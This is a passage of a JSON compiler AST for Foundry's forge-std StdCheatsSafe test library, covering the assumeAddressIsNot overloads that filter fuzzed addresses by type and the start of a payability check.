StdCheatsSafe.AddressType"}},"src":"7204:39:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":3950,"nodeType":"IfStatement","src":"7200:97:3","trueBody":{"id":3949,"nodeType":"Block","src":"7245:52:3","statements":[{"expression":{"arguments":[{"id":3946,"name":"addr","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3899,"src":"7281:4:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":3945,"name":"assumeNotForgeAddress","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4345,"src":"7259:21:3","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_address_$returns$__$","typeString":"function (address) pure"}},"id":3947,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"7259:27:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":3948,"nodeType":"ExpressionStatement","src":"7259:27:3"}]}},"id":3951,"nodeType":"IfStatement","src":"7101:196:3","trueBody":{"id":3940,"nodeType":"Block","src":"7144:50:3","statements":[{"expression":{"arguments":[{"id":3937,"name":"addr","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3899,"src":"7178:4:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":3936,"name":"assumeNotPrecompile","nodeType":"Identifier","overloadedDeclarations":[4177,4320],"referencedDeclaration":4177,"src":"7158:19:3","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_address_$returns$__$","typeString":"function (address) pure"}},"id":3938,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"7158:25:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":3939,"nodeType":"ExpressionStatement","src":"7158:25:3"}]}},"id":3952,"nodeType":"IfStatement","src":"7000:297:3","trueBody":{"id":3931,"nodeType":"Block","src":"7044:51:3","statements":[{"expression":{"arguments":[{"id":3928,"name":"addr","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3899,"src":"7079:4:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":3927,"name":"assumeNotZeroAddress","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4165,"src":"7058:20:3","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_address_$returns$__$","typeString":"function (address) pure"}},"id":3929,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"7058:26:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":3930,"nodeType":"ExpressionStatement","src":"7058:26:3"}]}},"id":3953,"nodeType":"IfStatement","src":"6907:390:3","trueBody":{"id":3922,"nodeType":"Block","src":"6950:44:3","statements":[{"expression":{"arguments":[{"id":3919,"name":"addr","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3899,"src":"6978:4:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":3918,"name":"assumePayable","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4133,"src":"6964:13:3","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$returns$__$","typeString":"function (address)"}},"id":3920,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6964:19:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":3921,"nodeType":"ExpressionStatement","src":"6964:19:3"}]}},"id":3954,"nodeType":"IfStatement","src":"6814:483:3","trueBody":{"id":3913,"nodeType":"Block","src":"6854:47:3","statements":[{"expression":{"arguments":[{"id":3910,"name":"addr","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3899,"src":"6885:4:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":3909,"name":"assumeNotPayable","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4148,"src":"6868:16:3","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$returns$__$","typeString":"function (address)"}},"id":3911,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6868:22:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":3912,"nodeType":"ExpressionStatement","src":"6868:22:3"}]}}]},"implemented":true,"kind":"function","modifiers":[],"name":"assumeAddressIsNot","nameLocation":"6729:18:3","parameters":{"id":3903,"nodeType":"ParameterList","parameters":[{"constant":false,"id":3899,"mutability":"mutable","name":"addr","nameLocation":"6756:4:3","nodeType":"VariableDeclaration","scope":3956,"src":"6748:12:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":3898,"name":"address","nodeType":"ElementaryTypeName","src":"6748:7:3","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":3902,"mutability":"mutable","name":"addressType","nameLocation":"6774:11:3","nodeType":"VariableDeclaration","scope":3956,"src":"6762:23:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_enum$_AddressType_$3799","typeString":"enum StdCheatsSafe.AddressType"},"typeName":{"id":3901,"nodeType":"UserDefinedTypeName","pathNode":{"id":3900,"name":"AddressType","nameLocations":["6762:11:3"],"nodeType":"IdentifierPath","referencedDeclaration":3799,"src":"6762:11:3"},"referencedDeclaration":3799,"src":"6762:11:3","typeDescriptions":{"typeIdentifier":"t_enum$_AddressType_$3799","typeString":"enum StdCheatsSafe.AddressType"}},"visibility":"internal"}],"src":"6747:39:3"},"returnParameters":{"id":3904,"nodeType":"ParameterList","parameters":[],"src":"6804:0:3"},"scope":5537,"stateMutability":"nonpayable","virtual":true,"visibility":"internal"},{"id":3978,"nodeType":"FunctionDefinition","src":"7309:214:3","nodes":[],"body":{"id":3977,"nodeType":"Block","src":"7420:103:3","nodes":[],"statements":[{"expression":{"arguments":[{"id":3968,"name":"addr","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3958,"src":"7449:4:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":3969,"name":"addressType1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3961,"src":"7455:12:3","typeDescriptions":{"typeIdentifier":"t_enum$_AddressType_$3799","typeString":"enum StdCheatsSafe.AddressType"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_enum$_AddressType_$3799","typeString":"enum StdCheatsSafe.AddressType"}],"id":3967,"name":"assumeAddressIsNot","nodeType":"Identifier","overloadedDeclarations":[3956,3978,4008,4046],"referencedDeclaration":3956,"src":"7430:18:3","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$_t_enum$_AddressType_$3799_$returns$__$","typeString":"function (address,enum StdCheatsSafe.AddressType)"}},"id":3970,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"7430:38:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":3971,"nodeType":"ExpressionStatement","src":"7430:38:3"},{"expression":{"arguments":[{"id":3973,"name":"addr","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3958,"src":"7497:4:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":3974,"name":"addressType2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3964,"src":"7503:12:3","typeDescriptions":{"typeIdentifier":"t_enum$_AddressType_$3799","typeString":"enum StdCheatsSafe.AddressType"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_enum$_AddressType_$3799","typeString":"enum StdCheatsSafe.AddressType"}],"id":3972,"name":"assumeAddressIsNot","nodeType":"Identifier","overloadedDeclarations":[3956,3978,4008,4046],"referencedDeclaration":3956,"src":"7478:18:3","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$_t_enum$_AddressType_$3799_$returns$__$","typeString":"function (address,enum StdCheatsSafe.AddressType)"}},"id":3975,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"7478:38:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":3976,"nodeType":"ExpressionStatement","src":"7478:38:3"}]},"implemented":true,"kind":"function","modifiers":[],"name":"assumeAddressIsNot","nameLocation":"7318:18:3","parameters":{"id":3965,"nodeType":"ParameterList","parameters":[{"constant":false,"id":3958,"mutability":"mutable","name":"addr","nameLocation":"7345:4:3","nodeType":"VariableDeclaration","scope":3978,"src":"7337:12:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":3957,"name":"address","nodeType":"ElementaryTypeName","src":"7337:7:3","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":3961,"mutability":"mutable","name":"addressType1","nameLocation":"7363:12:3","nodeType":"VariableDeclaration","scope":3978,"src":"7351:24:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_enum$_AddressType_$3799","typeString":"enum StdCheatsSafe.AddressType"},"typeName":{"id":3960,"nodeType":"UserDefinedTypeName","pathNode":{"id":3959,"name":"AddressType","nameLocations":["7351:11:3"],"nodeType":"IdentifierPath","referencedDeclaration":3799,"src":"7351:11:3"},"referencedDeclaration":3799,"src":"7351:11:3","typeDescriptions":{"typeIdentifier":"t_enum$_AddressType_$3799","typeString":"enum StdCheatsSafe.AddressType"}},"visibility":"internal"},{"constant":false,"id":3964,"mutability":"mutable","name":"addressType2","nameLocation":"7389:12:3","nodeType":"VariableDeclaration","scope":3978,"src":"7377:24:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_enum$_AddressType_$3799","typeString":"enum StdCheatsSafe.AddressType"},"typeName":{"id":3963,"nodeType":"UserDefinedTypeName","pathNode":{"id":3962,"name":"AddressType","nameLocations":["7377:11:3"],"nodeType":"IdentifierPath","referencedDeclaration":3799,"src":"7377:11:3"},"referencedDeclaration":3799,"src":"7377:11:3","typeDescriptions":{"typeIdentifier":"t_enum$_AddressType_$3799","typeString":"enum StdCheatsSafe.AddressType"}},"visibility":"internal"}],"src":"7336:66:3"},"returnParameters":{"id":3966,"nodeType":"ParameterList","parameters":[],"src":"7420:0:3"},"scope":5537,"stateMutability":"nonpayable","virtual":true,"visibility":"internal"},{"id":4008,"nodeType":"FunctionDefinition","src":"7529:326:3","nodes":[],"body":{"id":4007,"nodeType":"Block","src":"7704:151:3","nodes":[],"statements":[{"expression":{"arguments":[{"id":3993,"name":"addr","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3980,"src":"7733:4:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":3994,"name":"addressType1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3983,"src":"7739:12:3","typeDescriptions":{"typeIdentifier":"t_enum$_AddressType_$3799","typeString":"enum StdCheatsSafe.AddressType"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_enum$_AddressType_$3799","typeString":"enum StdCheatsSafe.AddressType"}],"id":3992,"name":"assumeAddressIsNot","nodeType":"Identifier","overloadedDeclarations":[3956,3978,4008,4046],"referencedDeclaration":3956,"src":"7714:18:3","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$_t_enum$_AddressType_$3799_$returns$__$","typeString":"function (address,enum StdCheatsSafe.AddressType)"}},"id":3995,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"7714:38:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":3996,"nodeType":"ExpressionStatement","src":"7714:38:3"},{"expression":{"arguments":[{"id":3998,"name":"addr","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3980,"src":"7781:4:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":3999,"name":"addressType2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3986,"src":"7787:12:3","typeDescriptions":{"typeIdentifier":"t_enum$_AddressType_$3799","typeString":"enum StdCheatsSafe.AddressType"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_enum$_AddressType_$3799","typeString":"enum StdCheatsSafe.AddressType"}],"id":3997,"name":"assumeAddressIsNot","nodeType":"Identifier","overloadedDeclarations":[3956,3978,4008,4046],"referencedDeclaration":3956,"src":"7762:18:3","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$_t_enum$_AddressType_$3799_$returns$__$","typeString":"function (address,enum StdCheatsSafe.AddressType)"}},"id":4000,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"7762:38:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":4001,"nodeType":"ExpressionStatement","src":"7762:38:3"},{"expression":{"arguments":[{"id":4003,"name":"addr","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3980,"src":"7829:4:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":4004,"name":"addressType3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3989,"src":"7835:12:3","typeDescriptions":{"typeIdentifier":"t_enum$_AddressType_$3799","typeString":"enum StdCheatsSafe.AddressType"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_enum$_AddressType_$3799","typeString":"enum StdCheatsSafe.AddressType"}],"id":4002,"name":"assumeAddressIsNot","nodeType":"Identifier","overloadedDeclarations":[3956,3978,4008,4046],"referencedDeclaration":3956,"src":"7810:18:3","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$_t_enum$_AddressType_$3799_$returns$__$","typeString":"function (address,enum StdCheatsSafe.AddressType)"}},"id":4005,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"7810:38:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":4006,"nodeType":"ExpressionStatement","src":"7810:38:3"}]},"implemented":true,"kind":"function","modifiers":[],"name":"assumeAddressIsNot","nameLocation":"7538:18:3","parameters":{"id":3990,"nodeType":"ParameterList","parameters":[{"constant":false,"id":3980,"mutability":"mutable","name":"addr","nameLocation":"7574:4:3","nodeType":"VariableDeclaration","scope":4008,"src":"7566:12:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":3979,"name":"address","nodeType":"ElementaryTypeName","src":"7566:7:3","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":3983,"mutability":"mutable","name":"addressType1","nameLocation":"7600:12:3","nodeType":"VariableDeclaration","scope":4008,"src":"7588:24:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_enum$_AddressType_$3799","typeString":"enum StdCheatsSafe.AddressType"},"typeName":{"id":3982,"nodeType":"UserDefinedTypeName","pathNode":{"id":3981,"name":"AddressType","nameLocations":["7588:11:3"],"nodeType":"IdentifierPath","referencedDeclaration":3799,"src":"7588:11:3"},"referencedDeclaration":3799,"src":"7588:11:3","typeDescriptions":{"typeIdentifier":"t_enum$_AddressType_$3799","typeString":"enum StdCheatsSafe.AddressType"}},"visibility":"internal"},{"constant":false,"id":3986,"mutability":"mutable","name":"addressType2","nameLocation":"7634:12:3","nodeType":"VariableDeclaration","scope":4008,"src":"7622:24:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_enum$_AddressType_$3799","typeString":"enum StdCheatsSafe.AddressType"},"typeName":{"id":3985,"nodeType":"UserDefinedTypeName","pathNode":{"id":3984,"name":"AddressType","nameLocations":["7622:11:3"],"nodeType":"IdentifierPath","referencedDeclaration":3799,"src":"7622:11:3"},"referencedDeclaration":3799,"src":"7622:11:3","typeDescriptions":{"typeIdentifier":"t_enum$_AddressType_$3799","typeString":"enum StdCheatsSafe.AddressType"}},"visibility":"internal"},{"constant":false,"id":3989,"mutability":"mutable","name":"addressType3","nameLocation":"7668:12:3","nodeType":"VariableDeclaration","scope":4008,"src":"7656:24:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_enum$_AddressType_$3799","typeString":"enum StdCheatsSafe.AddressType"},"typeName":{"id":3988,"nodeType":"UserDefinedTypeName","pathNode":{"id":3987,"name":"AddressType","nameLocations":["7656:11:3"],"nodeType":"IdentifierPath","referencedDeclaration":3799,"src":"7656:11:3"},"referencedDeclaration":3799,"src":"7656:11:3","typeDescriptions":{"typeIdentifier":"t_enum$_AddressType_$3799","typeString":"enum StdCheatsSafe.AddressType"}},"visibility":"internal"}],"src":"7556:130:3"},"returnParameters":{"id":3991,"nodeType":"ParameterList","parameters":[],"src":"7704:0:3"},"scope":5537,"stateMutability":"nonpayable","virtual":true,"visibility":"internal"},{"id":4046,"nodeType":"FunctionDefinition","src":"7861:408:3","nodes":[],"body":{"id":4045,"nodeType":"Block","src":"8070:199:3","nodes":[],"statements":[{"expression":{"arguments":[{"id":4026,"name":"addr","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4010,"src":"8099:4:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":4027,"name":"addressType1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4013,"src":"8105:12:3","typeDescriptions":{"typeIdentifier":"t_enum$_AddressType_$3799","typeString":"enum StdCheatsSafe.AddressType"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_enum$_AddressType_$3799","typeString":"enum StdCheatsSafe.AddressType"}],"id":4025,"name":"assumeAddressIsNot","nodeType":"Identifier","overloadedDeclarations":[3956,3978,4008,4046],"referencedDeclaration":3956,"src":"8080:18:3","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$_t_enum$_AddressType_$3799_$returns$__$","typeString":"function (address,enum StdCheatsSafe.AddressType)"}},"id":4028,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"8080:38:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":4029,"nodeType":"ExpressionStatement","src":"8080:38:3"},{"expression":{"arguments":[{"id":4031,"name":"addr","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4010,"src":"8147:4:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":4032,"name":"addressType2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4016,"src":"8153:12:3","typeDescriptions":{"typeIdentifier":"t_enum$_AddressType_$3799","typeString":"enum StdCheatsSafe.AddressType"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_enum$_AddressType_$3799","typeString":"enum StdCheatsSafe.AddressType"}],"id":4030,"name":"assumeAddressIsNot","nodeType":"Identifier","overloadedDeclarations":[3956,3978,4008,4046],"referencedDeclaration":3956,"src":"8128:18:3","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$_t_enum$_AddressType_$3799_$returns$__$","typeString":"function (address,enum StdCheatsSafe.AddressType)"}},"id":4033,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"8128:38:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":4034,"nodeType":"ExpressionStatement","src":"8128:38:3"},{"expression":{"arguments":[{"id":4036,"name":"addr","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4010,"src":"8195:4:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":4037,"name":"addressType3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4019,"src":"8201:12:3","typeDescriptions":{"typeIdentifier":"t_enum$_AddressType_$3799","typeString":"enum StdCheatsSafe.AddressType"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_enum$_AddressType_$3799","typeString":"enum StdCheatsSafe.AddressType"}],"id":4035,"name":"assumeAddressIsNot","nodeType":"Identifier","overloadedDeclarations":[3956,3978,4008,4046],"referencedDeclaration":3956,"src":"8176:18:3","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$_t_enum$_AddressType_$3799_$returns$__$","typeString":"function (address,enum StdCheatsSafe.AddressType)"}},"id":4038,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"8176:38:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":4039,"nodeType":"ExpressionStatement","src":"8176:38:3"},{"expression":{"arguments":[{"id":4041,"name":"addr","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4010,"src":"8243:4:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":4042,"name":"addressType4","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4022,"src":"8249:12:3","typeDescriptions":{"typeIdentifier":"t_enum$_AddressType_$3799","typeString":"enum StdCheatsSafe.AddressType"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_enum$_AddressType_$3799","typeString":"enum StdCheatsSafe.AddressType"}],"id":4040,"name":"assumeAddressIsNot","nodeType":"Identifier","overloadedDeclarations":[3956,3978,4008,4046],"referencedDeclaration":3956,"src":"8224:18:3","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$_t_enum$_AddressType_$3799_$returns$__$","typeString":"function (address,enum StdCheatsSafe.AddressType)"}},"id":4043,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"8224:38:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":4044,"nodeType":"ExpressionStatement","src":"8224:38:3"}]},"implemented":true,"kind":"function","modifiers":[],"name":"assumeAddressIsNot","nameLocation":"7870:18:3","parameters":{"id":4023,"nodeType":"ParameterList","parameters":[{"constant":false,"id":4010,"mutability":"mutable","name":"addr","nameLocation":"7906:4:3","nodeType":"VariableDeclaration","scope":4046,"src":"7898:12:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":4009,"name":"address","nodeType":"ElementaryTypeName","src":"7898:7:3","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":4013,"mutability":"mutable","name":"addressType1","nameLocation":"7932:12:3","nodeType":"VariableDeclaration","scope":4046,"src":"7920:24:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_enum$_AddressType_$3799","typeString":"enum StdCheatsSafe.AddressType"},"typeName":{"id":4012,"nodeType":"UserDefinedTypeName","pathNode":{"id":4011,"name":"AddressType","nameLocations":["7920:11:3"],"nodeType":"IdentifierPath","referencedDeclaration":3799,"src":"7920:11:3"},"referencedDeclaration":3799,"src":"7920:11:3","typeDescriptions":{"typeIdentifier":"t_enum$_AddressType_$3799","typeString":"enum StdCheatsSafe.AddressType"}},"visibility":"internal"},{"constant":false,"id":4016,"mutability":"mutable","name":"addressType2","nameLocation":"7966:12:3","nodeType":"VariableDeclaration","scope":4046,"src":"7954:24:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_enum$_AddressType_$3799","typeString":"enum StdCheatsSafe.AddressType"},"typeName":{"id":4015,"nodeType":"UserDefinedTypeName","pathNode":{"id":4014,"name":"AddressType","nameLocations":["7954:11:3"],"nodeType":"IdentifierPath","referencedDeclaration":3799,"src":"7954:11:3"},"referencedDeclaration":3799,"src":"7954:11:3","typeDescriptions":{"typeIdentifier":"t_enum$_AddressType_$3799","typeString":"enum StdCheatsSafe.AddressType"}},"visibility":"internal"},{"constant":false,"id":4019,"mutability":"mutable","name":"addressType3","nameLocation":"8000:12:3","nodeType":"VariableDeclaration","scope":4046,"src":"7988:24:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_enum$_AddressType_$3799","typeString":"enum StdCheatsSafe.AddressType"},"typeName":{"id":4018,"nodeType":"UserDefinedTypeName","pathNode":{"id":4017,"name":"AddressType","nameLocations":["7988:11:3"],"nodeType":"IdentifierPath","referencedDeclaration":3799,"src":"7988:11:3"},"referencedDeclaration":3799,"src":"7988:11:3","typeDescriptions":{"typeIdentifier":"t_enum$_AddressType_$3799","typeString":"enum StdCheatsSafe.AddressType"}},"visibility":"internal"},{"constant":false,"id":4022,"mutability":"mutable","name":"addressType4","nameLocation":"8034:12:3","nodeType":"VariableDeclaration","scope":4046,"src":"8022:24:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_enum$_AddressType_$3799","typeString":"enum StdCheatsSafe.AddressType"},"typeName":{"id":4021,"nodeType":"UserDefinedTypeName","pathNode":{"id":4020,"name":"AddressType","nameLocations":["8022:11:3"],"nodeType":"IdentifierPath","referencedDeclaration":3799,"src":"8022:11:3"},"referencedDeclaration":3799,"src":"8022:11:3","typeDescriptions":{"typeIdentifier":"t_enum$_AddressType_$3799","typeString":"enum StdCheatsSafe.AddressType"}},"visibility":"internal"}],"src":"7888:164:3"},"returnParameters":{"id":4024,"nodeType":"ParameterList","parameters":[],"src":"8070:0:3"},"scope":5537,"stateMutability":"nonpayable","virtual":true,"visibility":"internal"},{"id":4119,"nodeType":"FunctionDefinition","src":"8615:592:3","nodes":[],"body":{"id":4118,"nodeType":"Block","src":"8672:535:3","nodes":[],"statements":[{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":4057,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"expression":{"id":4054,"name":"addr","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4048,"src":"8703:4:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":4055,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"8708:7:3","memberName":"balance","nodeType":"MemberAccess","src":"8703:12:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"<","rightExpression":{"id":4056,"name":"UINT256_MAX","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3507,"src":"8718:11:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"8703:26:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"537464436865617473205f697350617961626c652861646472657373293a2042616c616e636520657175616c73206d61782075696e743235362c20736f2069742063616e6e6f74207265636569766520616e79206d6f72652066756e6473","id":4058,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"8743:96:3","typeDescriptions":{"typeIdentifier":"t_stringliteral_445086840f6c2a82b4d334ff6858d2a67c3cf8d1872260417f6ce3ed4fefcee6","typeString":"literal_string \"StdCheats _isPayable(address): Balance equals max uint256, so it cannot receive any more funds\""},"value":"StdCheats _isPayable(address): Balance equals max uint256, so it cannot receive any more funds"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_445086840f6c2a82b4d334ff6858d2a67c3cf8d1872260417f6ce3ed4fefcee6","typeString":"literal_string \"StdCheats _isPayable(address): Balance equals max uint256, so it cannot receive any more funds\""}],"id":4053,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"8682:7:3","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) 